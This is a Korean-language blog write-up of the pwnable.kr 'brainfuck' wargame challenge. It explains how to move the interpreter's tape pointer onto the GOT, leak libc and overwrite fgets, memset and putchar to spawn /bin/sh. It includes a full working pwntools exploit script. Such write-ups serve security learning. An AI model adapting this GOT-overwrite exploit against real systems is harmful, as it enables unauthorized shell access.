hOwDayS 선린 10720
pwnable.kr brainfuck 본문
fgets로 입력을 받은 다음 한글자씩 do_brainfuck 함수로 넘겨 주고 있다
do_brainfuck 함수안은 이렇다.
do_brainfuck로 넘겨준 글자를 아스키코드로 비교를 하여 실행한다.
p 는 tape의 주소다
여기서 어떻게 쉘을 실행시킬까 생각을 했다.
got을 조작하여 쉘을 실행시키려 한다
main 함수에서는
memset을 실행후 fgets을 실행하는데
memset , fgets , putchar 각각의 got을 조작하여 쉘을 실행시킨다
memset 의 got 을 gets으로 조작하여 /bin/sh을 입력하고
fgets의 got을 system으로 조작하고
putchar 의 got을 main으로 조작하여
putchar을 실행시키면 쉘을 따낸다
brainfuck.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | tape_addr = 0x0804A0A0 fgets_addr = 0x0804A010 memset_addr = 0x0804A02C putchar_addr = 0x0804A030 def send_brainfuck(): payload = "<" * (tape_addr - fgets_addr) # go to fgets payload += ".>" * 4 #print fgets address payload += "<" * 4 # go to fgets payload += ",>" * 4 #overwrite fgets system payload += "<" * 4 # go to fgets payload += ">" * (memset_addr - fgets_addr) # go to memset payload += ",>" * 4 #overwrite memset gets payload += "<" * 4 payload += ">"* (putchar_addr - memset_addr) payload += ",>" * 4 # overwrite putchar main payload += "." # run putchar = main print("PAYLOAD : " + payload) return payload def run(): libc = ELF("./bf_libc.so") s = remote("pwnable.kr",9001) s.recvline_startswith("type") #read line which starts "type" s.sendline(send_brainfuck()) # send payload recv_fgets_addr = s.recvn(4)[::-1].encode('hex') libc_base = int(recv_fgets_addr,16) - libc.symbols['fgets'] send_system_addr = libc.symbols['system'] + libc_base send_gets_addr = libc.symbols['gets'] + libc_base s.send(p32(send_system_addr)) s.send(p32(send_gets_addr)) s.send(p32(0x08048671)) s.sendline('/bin/sh\00') s.interactive() run() | cs |
'공부 > pwnable.kr' 카테고리의 다른 글
pwnable.kr otp (0) | 2018.01.20 |
---|---|
pwnable.kr simplelogin (0) | 2018.01.20 |
pwnable asm (0) | 2018.01.12 |
pwnable uaf (0) | 2018.01.11 |
pwnable.kr lotto (0) | 2018.01.11 |
Comments